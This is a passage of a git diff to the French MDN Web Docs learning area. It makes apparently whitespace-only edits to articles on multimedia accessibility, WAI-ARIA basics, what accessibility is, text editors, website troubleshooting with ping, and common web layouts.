certains cas, ce n'est pas si grave, par exemple: - Si vous intégrez du contenu audio à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez probablement simplement fournir une transcription audio de la même manière que celle décrite ci-dessus dans la section {{anch("Transcript examples")}} . -- Si vous intégrez du contenu vidéo à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez tirer parti des techniques de sous-titrage / sous-titrage disponibles pour ces technologies. Par exemple, voir [Flash captions](http://www.adobe.com/accessibility/products/flash/captions.html), [Using the Flash-Only Player API for Closed Captioning](https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning), ou [Playing Subtitles with Videos in Silverlight](https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/). +- Si vous intégrez du contenu vidéo à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez tirer parti des techniques de sous-titrage / sous-titrage disponibles pour ces technologies. Par exemple, voir [Flash captions](http://www.adobe.com/accessibility/products/flash/captions.html), [Using the Flash-Only Player API for Closed Captioning](https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning), ou [Playing Subtitles with Videos in Silverlight](https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/). Cependant, il est difficile de rendre les autres multimédias accessibles. Si, par exemple, vous avez affaire à un jeu immersif en 3D ou à une application de réalité virtuelle, il est vraiment difficile de fournir des alternatives textuelles pour une telle expérience, et vous pouvez soutenir que les utilisateurs non-voyants ne sont pas vraiment dans le groupe-cible de telles applications. diff --git a/files/fr/learn/accessibility/wai-aria_basics/index.md b/files/fr/learn/accessibility/wai-aria_basics/index.md index 1a9676c788..913298af07 100644 --- a/files/fr/learn/accessibility/wai-aria_basics/index.md +++ b/files/fr/learn/accessibility/wai-aria_basics/index.md @@ -22,7 +22,7 @@ Après l'article précédent, il peut être difficile de créer des contrôles U <table class="standard-table"> <tbody> <tr> - <th scope="row"> Prerequis:</th> + <th scope="row"> Prerequis:</th> <td> Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension des @@ -48,7 +48,7 @@ Commençons par regarder ce que WAI-ARIA est , et ce qu’il peut faire pour nou Car les applications web ont commencé à devenir plus complexes et dynamiques, un nouvel ensemble de fonctionnalités d'accessibilité et de problèmes ont commencé à apparaître. -Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.) Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple `<div class="nav">` , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. . +Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.) Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple `<div class="nav">` , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. . La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut de la page pour créer un lien vers la navigation (ou autre), par exemple: @@ -58,7 +58,7 @@ La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut Mais ceci n’est pas encore très précis et ne peut être utilisé que lorsque le lecteur d’écran lit en haut de la page. -Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux input pour rendre de tels contrôles: +Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux input pour rendre de tels contrôles: ```html <input type="date"> @@ -74,14 +74,14 @@ Le problème ici est que, visuellement, ils fonctionnent, mais que les lecteurs [WAI-ARIA](https://www.w3.org/TR/wai-aria-1.1/) est une spécification écrite par le W3C et définissant un ensemble d'attributs HTML supplémentaires pouvant être appliqués aux éléments pour fournir une sémantique supplémentaire et améliorer l'accessibilité en cas de manque. Trois caractéristiques principales sont définies dans la spécification: - **Rôles** - Ceux-ci définissent ce qu'un élément est ou fait. Bon nombre de ces rôles sont des rôles de référence, qui dupliquent en grande partie la valeur sémantique des éléments structurels HTML5, par exemple role = "navigation" ({{htmlelement("nav")}}) ou `role="complementary"` ({{htmlelement("aside")}}) , mais il en existe d'autres qui décrivent différentes structures de pages, telles que `role="banner"`, `role="search"`, `role="tabgroup"`, `role="tab"`, etc., que l'on trouve couramment dans les UIs. -- **Propriétés** — Ceux-ci définissent les propriétés des éléments, qui peuvent être utilisés pour leur donner une signification supplémentaire ou une sémantique. Par exemple, `aria-required="true"` spécifie qu'une entrée de formulaire doit être renseignée pour être valide, alors que `aria-labelledby="label"` vous permet de mettre un ID sur un élément, puis de le référencer en tant qu'étiquette pour tout autre élément de la page, y compris plusieurs éléments, ce qui n'est pas possible avec `<label for="input">`. À titre d'exemple, vous pouvez utiliser `aria-labelledby` pour spécifier qu'une description de clé contenue dans un {{htmlelement("div")}} est le label de plusieurs cellules de tableau, ou vous pouvez l’utiliser comme alternative au texte alternatif d’image — spécifiez les informations existantes sur la page en tant que texte alternatif d’image, plutôt que de devoir les répéter à l'intérieur de l'attribut `alt`. Vous pouvez voir un exemple de celà à [Alternatives textuelles](/fr/docs/Apprendre/a11y/HTML?document_saved=true#Alternatives_textuelles). -- **États** — Propriétés spéciales qui définissent les conditions actuelles des éléments, telles que `aria-disabled="true"`, qui spécifient à un lecteur d'écran que l'entrée de formulaire est actuellement désactivée. Les états diffèrent des propriétés en ce que les propriétés ne changent pas tout au long du cycle de vie d'une application, alors que les états peuvent changer, généralement par programmation via JavaScript. +- **Propriétés** — Ceux-ci définissent les propriétés des éléments, qui peuvent être utilisés pour leur donner une signification supplémentaire ou une sémantique. Par exemple, `aria-required="true"` spécifie qu'une entrée de formulaire doit être renseignée pour être valide, alors que `aria-labelledby="label"` vous permet de mettre un ID sur un élément, puis de le référencer en tant qu'étiquette pour tout autre élément de la page, y compris plusieurs éléments, ce qui n'est pas possible avec `<label for="input">`. À titre d'exemple, vous pouvez utiliser `aria-labelledby` pour spécifier qu'une description de clé contenue dans un {{htmlelement("div")}} est le label de plusieurs cellules de tableau, ou vous pouvez l’utiliser comme alternative au texte alternatif d’image — spécifiez les informations existantes sur la page en tant que texte alternatif d’image, plutôt que de devoir les répéter à l'intérieur de l'attribut `alt`. Vous pouvez voir un exemple de celà à [Alternatives textuelles](/fr/docs/Apprendre/a11y/HTML?document_saved=true#Alternatives_textuelles). +- **États** — Propriétés spéciales qui définissent les conditions actuelles des éléments, telles que `aria-disabled="true"`, qui spécifient à un lecteur d'écran que l'entrée de formulaire est actuellement désactivée. Les états diffèrent des propriétés en ce que les propriétés ne changent pas tout au long du cycle de vie d'une application, alors que les états peuvent changer, généralement par programmation via JavaScript. Un point important sur les attributs WAI-ARIA est qu'ils n'affectent en rien la page Web, à l'exception des informations exposées par les API d'accessibilité du navigateur (où les lecteurs d'écran obtiennent leurs informations). WAI-ARIA n'affecte pas la structure de la page Web, le DOM, etc., bien que les attributs puissent être utiles pour sélectionner des éléments par CSS. > **Note :** Vous pouvez trouver une liste utile de tous les rôles ARIA et de leurs utilisations, avec des liens vers des informations supplémentaires, dans les spécifications WAI-ARIA — voir la [définition des rôles](https://www.w3.org/TR/wai-aria-1.1/#role_definitions). > -> La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir [Définitions des états et des propriétés (tous les attributs aria-*)](https://www.w3.org/TR/wai-aria-1.1/#state_prop_def). +> La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir [Définitions des états et des propriétés (tous les attributs aria-*)](https://www.w3.org/TR/wai-aria-1.1/#state_prop_def). ### Où WAI-ARIA est supporté? @@ -107,7 +107,7 @@ We talked about some of the problems that prompted WAI-ARIA to be created earlie 1. **Signposts/Landmarks**: ARIA's `role` attribute values can act as landmarks that either replicate the semantics of HTML5 elements (e.g. {{htmlelement("nav")}}), or go beyond HTML5 semantics to provide signposts to different functional areas, e.g `search`, `tabgroup`, `tab`, `listbox`, etc. 2. **Dynamic content updates**: Screenreaders tend to have difficulty with reporting constantly changing content; with ARIA we can use `aria-live` to inform screenreader users when an area of content is updated, e.g. via [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest), or [DOM APIs](/fr/docs/Web/API/Document_Object_Model). -3. **Enhancing keyboard accessibility**: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using `tabindex`). +3. **Enhancing keyboard accessibility**: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using `tabindex`). 4. **Accessibility of non-semantic controls**: When a series of nested `<div>`s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer — screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like `button`, `listbox`, or `tabgroup`, and properties like `aria-required` or `aria-posinset` to provide further clues as to functionality. One thing to remember though — **you should only use WAI-ARIA when you need to!** Ideally, you should _always_ use [native HTML features](/fr/docs/Learn/Accessibility/HTML) to provide the semantics required by screenreaders to tell their users what is going on. Sometimes this isn't possible, either because you have limited control over the code, or because you are creating something complex that doesn't have an easy HTML element to implement it. In such cases, WAI-ARIA can be a valuable accessibility enhancing tool. @@ -290,7 +290,7 @@ We could go further with our ARIA usage, and provide some more validation help. <p>Fields marked with an asterisk (*) are required.</p> ``` -4. This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the [`aria-required`](https://www.w3.org/TR/wai-aria-1.1/#aria-required) attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the `<input>` elements like so: +4. This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the [`aria-required`](https://www.w3.org/TR/wai-aria-1.1/#aria-required) attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the `<input>` elements like so: ```html <input type="text" name="name" id="name" aria-required="true"> @@ -363,9 +363,9 @@ To improve things, we've created a new version of the example called [aria-tabbe ```html <ul role="tablist"> - <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> - <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> - <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> + <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> </ul> <div class="panels"> <article class="active-panel" role="tabpanel" aria-hidden="false"> @@ -393,7 +393,7 @@ The new features are as follows: In our tests, this new structure did serve to improve things overall. The tabs are now recognised as tabs (e.g. "tab" is spoken by the screenreader), the selected tab is indicated by "selected" being read out with the tab name, and the screenreader also tells you which tab number you are currently on. In addition, because of the `aria-hidden` settings (only the non-hidden tab ever has `aria-hidden="false"` set), the non-hidden content is the only one you can navigate down to, meaning the selected content is easier to find. -> **Note :** If there is anything you explicitly don't want screen readers to read out, you can give them the `aria-hidden="true"` attribute. +> **Note :** If there is anything you explicitly don't want screen readers to read out, you can give them the `aria-hidden="true"` attribute. ## Summary diff --git a/files/fr/learn/accessibility/what_is_accessibility/index.md b/files/fr/learn/accessibility/what_is_accessibility/index.md index 39f6cd5296..bdb7500858 100644 --- a/files/fr/learn/accessibility/what_is_accessibility/index.md +++ b/files/fr/learn/accessibility/what_is_accessibility/index.md @@ -95,26 +95,26 @@ De nombreuses personnes souffrent de troubles de la mobilité. Par exemple, en F ### Personnes ayant des déficiences cognitives -La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que [TDAH-trouble d'hyperactivité avec déficit de l'attention](https://naitreetgrandir.com/fr/mauxenfants/indexmaladiesa_z/fiche.aspx?doc=naitre-grandir-sante-enfant-trouble-deficit-attention-hyperactivite-tdah), [TSA-trouble du spectre de l’autisme](https://cenop.ca/troubles-comportement/tsa-trouble-spectre-autisme.php), aux personnes atteintes de [schizophrénie](http://www.psycom.org/Espace-Presse/Sante-mentale-de-A-a-Z/Schizophrenie-s), et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. +La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que [TDAH-trouble d'hyperactivité avec déficit de l'attention](https://naitreetgrandir.com/fr/mauxenfants/indexmaladiesa_z/fiche.aspx?doc=naitre-grandir-sante-enfant-trouble-deficit-attention-hyperactivite-tdah), [TSA-trouble du spectre de l’autisme](https://cenop.ca/troubles-comportement/tsa-trouble-spectre-autisme.php), aux personnes atteintes de [schizophrénie](http://www.psycom.org/Espace-Presse/Sante-mentale-de-A-a-Z/Schizophrenie-s), et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. Le plus souvent, ces incapacités peuvent affecter l'utilisation du site web : difficulté à comprendre comment effectuer une tâche, à se rappeler comment effectuer une tâche déjà accomplie ou à une frustration accrue en cas de confusion dans les flux de travail ou d'incohérences dans la présentation / navigation / autre page. -Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que : +Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que : -- les pages sont cohérentes — la navigation, l'en-tête, le pied de page et le contenu principal se trouvent toujours aux mêmes endroits. +- les pages sont cohérentes — la navigation, l'en-tête, le pied de page et le contenu principal se trouvent toujours aux mêmes endroits. - les outils sont bien conçus et faciles à utiliser. - Les processus en plusieurs étapes sont divisés en étapes logiques, avec des rappels réguliers de l'état d'avancement du processus et du temps qu'il vous reste pour terminer le processus, le cas échéant. - Les workflows sont logiques, simples et nécessitent le moins d’interactions possible. Par exemple, l'inscription et la connexion à un site web sont souvent complexes. - les pages ne sont ni trop longues ni trop denses en termes de quantité d'informations présentées à la fois. - le langage utilisé dans vos pages est aussi simple et clair que possible, et ne contient pas un jargon et un argot inutiles. -- les points importants et le contenu sont mis en évidence. +- les points importants et le contenu sont mis en évidence. - les erreurs des utilisateurs sont clairement mises en évidence, avec des messages d'aide suggérant des solutions. -Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail. +Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail. En termes de statistiques, encore une fois, les chiffres sont importants. Le [rapport 2014 sur le statut d'invalidité](http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf) (PDF, 511KB) de l'Université de Cornell indique qu'en 2014, 4,5% des Américains âgés de 21 à 64 ans présentaient une forme de déficience cognitive . -> **Note :** La page [cognitives](https://apprendreaeduquer.fr/fonctions-cognitives/) de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. +> **Note :** La page [cognitives](https://apprendreaeduquer.fr/fonctions-cognitives/) de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. ## Implémentation de l'accessibilité dans votre projet @@ -125,7 +125,7 @@ Un mythe commun en matière d'accessibilité est que l'accessibilité est un "su Cependant, si vous envisagez l'accessibilité dès le début d'un projet, le coût de la plupart des contenus accessibles devrait être assez minime. -Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes [alternative text](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives) ou le texte du lien incorrect — voir [Element relationships and context](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context)), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple: +Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes [alternative text](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives) ou le texte du lien incorrect — voir [Element relationships and context](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context)), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple: - Mon widget de sélecteur de date est-il utilisable par les personnes utilisant des lecteurs d'écran ? - Si le contenu est mis à jour de manière dynamique, les personnes malvoyantes le savent-elles ? @@ -133,13 +133,13 @@ Lors de la planification de votre projet, tenez compte des tests d'accessibilit Vous pouvez et devez garder une note sur les problèmes potentiels de votre contenu qui devront être redessinés pour le rendre accessible, assurez-vous qu'il a été testé minutieusement et réfléchissez aux solutions / alternatives. Le contenu textuel (comme vous le verrez dans le prochain article) est simple, mais qu'en est-il de votre contenu multimédia et de vos graphismes 3D fantastiques ? Vous devriez examiner le budget de votre projet et réfléchir de manière réaliste aux solutions disponibles pour rendre ce contenu accessible ? Vous pourriez avoir à payer pour que tout votre contenu multimédia soit transcrit, ce qui peut être coûteux, mais réalisable. -Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. +Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. D'autre part, si vous travaillez sur un site web de galerie présentant des œuvres d'art 3D intéressantes, il serait déraisonnable de s'attendre à ce que chaque œuvre d'art soit parfaitement accessible aux personnes malvoyantes, étant donné qu'il s'agit d'un support entièrement visuel. Pour montrer que vous vous souciez de l'accessibilité et que vous en avez pensé, publiez sur votre site une déclaration d'accessibilité détaillant votre politique en matière d'accessibilité et les mesures que vous avez prises pour rendre le site accessible. Si quelqu'un se plaint de ce que votre site a un problème d'accessibilité, commencez un dialogue avec elle, faites preuve d'empathie et prenez les mesures qui s'imposent pour tenter de résoudre le problème. -> **Note :** Notre article [Gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility) couvre les spécificités d'accessibilité qui doivent être testées plus en détail. +> **Note :** Notre article [Gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility) couvre les spécificités d'accessibilité qui doivent être testées plus en détail. Résumer : @@ -151,8 +151,8 @@ Résumer : Il existe de nombreuses listes de contrôle et ensembles de directives disponibles sur lesquels baser les tests d'accessibilité, ce qui peut sembler fastidieux à première vue. Notre conseil est de vous familiariser avec les domaines fondamentaux dans lesquels vous devez prendre soin, ainsi que de comprendre les structures de haut niveau des directives qui vous sont le plus utiles. -- Pour commencer, le W3C a publié un document volumineux et très détaillé qui inclut des critères très précis, indépendants de la technologie, pour la conformité de l'accessibilité. Celles-ci s'appellent le [Web Content Accessibility Guidelines](https://www.w3.org/WAI/intro/wcag.php) (WCAG), et ne constituent en aucun cas une lecture brève. Les critères sont divisés en quatre catégories principales, qui spécifient comment les implémentations peuvent être rendues perceptibles, exploitables, compréhensibles et robustes. Le meilleur endroit pour commencer à apprendre et [WCAG at a Glance](https://www.w3.org/WAI/WCAG20/glance/Overview.html). Il n'est pas nécessaire d'apprendre le WCAG par cœur — soyez conscient des principaux problèmes et utilisez une variété de techniques et d'outils pour mettre en évidence les domaines qui ne sont pas conformes aux critères du WCAG (voir ci-dessous pour plus d'informations). -- Votre pays peut également avoir une législation spécifique régissant la nécessité d’accéder aux sites web desservant leur population — par exemple [Section 508 of the Rehabilitation Act](http://www.section508.gov/content/learn) en US, [Federal Ordinance on Barrier-Free Information Technology](https://www.einfach-fuer-alle.de/artikel/bitv_english/) en Germany, la lois sur [Equality Act](http://www.legislation.gov.uk/ukpga/2010/15/contents) Royaume-Uni, [Accessibilità](http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita) en Italy, le [Disability Discrimination Act](https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014) en Australia, etc. +- Pour commencer, le W3C a publié un document volumineux et très détaillé qui inclut des critères très précis, indépendants de la technologie, pour la conformité de l'accessibilité. Celles-ci s'appellent le [Web Content Accessibility Guidelines](https://www.w3.org/WAI/intro/wcag.php) (WCAG), et ne constituent en aucun cas une lecture brève. Les critères sont divisés en quatre catégories principales, qui spécifient comment les implémentations peuvent être rendues perceptibles, exploitables, compréhensibles et robustes. Le meilleur endroit pour commencer à apprendre et [WCAG at a Glance](https://www.w3.org/WAI/WCAG20/glance/Overview.html). Il n'est pas nécessaire d'apprendre le WCAG par cœur — soyez conscient des principaux problèmes et utilisez une variété de techniques et d'outils pour mettre en évidence les domaines qui ne sont pas conformes aux critères du WCAG (voir ci-dessous pour plus d'informations). +- Votre pays peut également avoir une législation spécifique régissant la nécessité d’accéder aux sites web desservant leur population — par exemple [Section 508 of the Rehabilitation Act](http://www.section508.gov/content/learn) en US, [Federal Ordinance on Barrier-Free Information Technology](https://www.einfach-fuer-alle.de/artikel/bitv_english/) en Germany, la lois sur [Equality Act](http://www.legislation.gov.uk/ukpga/2010/15/contents) Royaume-Uni, [Accessibilità](http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita) en Italy, le [Disability Discrimination Act](https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014) en Australia, etc. Ainsi, alors que le WCAG est un ensemble de directives, votre pays aura probablement des lois régissant l’accessibilité du Web, ou du moins l’accessibilité des services accessibles au public (sites web, télévision, espaces physiques, etc.). C’est une bonne idée. pour savoir quelles sont vos lois. Si vous ne faites aucun effort pour vérifier que votre contenu est accessible, vous pourriez éventuellement avoir des ennuis avec la loi si les personnes handicapées s'en plaignent. @@ -160,7 +160,7 @@ Cela semble sérieux, mais vous devez vraiment considérer l'accessibilité comm ## API d'accessibilité -Les navigateurs web utilisent des **API d’accessibilité** spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée **arborescence d'accessibilité**. +Les navigateurs web utilisent des **API d’accessibilité** spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée **arborescence d'accessibilité**. Différents systèmes d'exploitation ont différentes API d'accessibilité disponibles : @@ -170,7 +170,7 @@ Différents systèmes d'exploitation ont différentes API d'accessibilité dispo - Android: Accessibility framework - iOS: UIAccessibility -Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la [WAI-ARIA specification](https://www.w3.org/TR/wai-aria/), qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). +Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la [WAI-ARIA specification](https://www.w3.org/TR/wai-aria/), qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). ## Résumé diff --git a/files/fr/learn/common_questions/available_text_editors/index.md b/files/fr/learn/common_questions/available_text_editors/index.md index 448c6245fe..9ae60bd348 100644 --- a/files/fr/learn/common_questions/available_text_editors/index.md +++ b/files/fr/learn/common_questions/available_text_editors/index.md @@ -17,7 +17,7 @@ Dans cet article, nous présentons les éléments principaux à connaître pour <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez déjà connaître <a href="/fr/Learn/What_software_do_I_need" @@ -360,7 +360,7 @@ Voici un tableau de quelques éditeurs de texte connus : ## Pédagogie active -_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/Débuter_sur_MDN)._ +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/Débuter_sur_MDN)._ ## Aller plus loin diff --git a/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md index fff9b1c778..d18c23e41c 100644 --- a/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md +++ b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md @@ -17,7 +17,7 @@ Dans cet article, nous présenterons les différentes étapes permettant de diag <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devez au préalable savoir <a href="/fr/Apprendre/Transférer_des_fichiers_vers_un_serveur_web" @@ -26,7 +26,7 @@ Dans cet article, nous présenterons les différentes étapes permettant de diag </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre à diagnostiquer et à résoudre certains problèmes simples qui peuvent se produire lors du développement ou de la maintenance d'un site @@ -161,7 +161,7 @@ Les notes vont de A à F. La page actuelle est pluôt légère et respecte donc 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms -Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci **Ctrl+C** pour arrêter l'envoi des pings. Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme `ping` contactera le serveur indéfiniment. +Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci **Ctrl+C** pour arrêter l'envoi des pings. Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme `ping` contactera le serveur indéfiniment. ### Une _checklist_ de base diff --git a/files/fr/learn/common_questions/common_web_layouts/index.md b/files/fr/learn/common_questions/common_web_layouts/index.md index cf813f14ef..3e919676f5 100644 --- a/files/fr/learn/common_questions/common_web_layouts/index.md +++ b/files/fr/learn/common_questions/common_web_layouts/index.md @@ -17,7 +17,7 @@ Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir e <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Assurez-vous d'avoir d'abord identifié <a href="/fr/Apprendre/Commencez_votre_projet_web" @@ -27,9 +27,9 @@ Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir e </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> - Apprendre où (et comment !) disposer des éléments dans vos pages web. + Apprendre où (et comment !) disposer des éléments dans vos pages web. </td> </tr> </tbody> @@ -37,7 +37,7 @@ Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir e Nous avons une bonne raison de vous initier à la conception 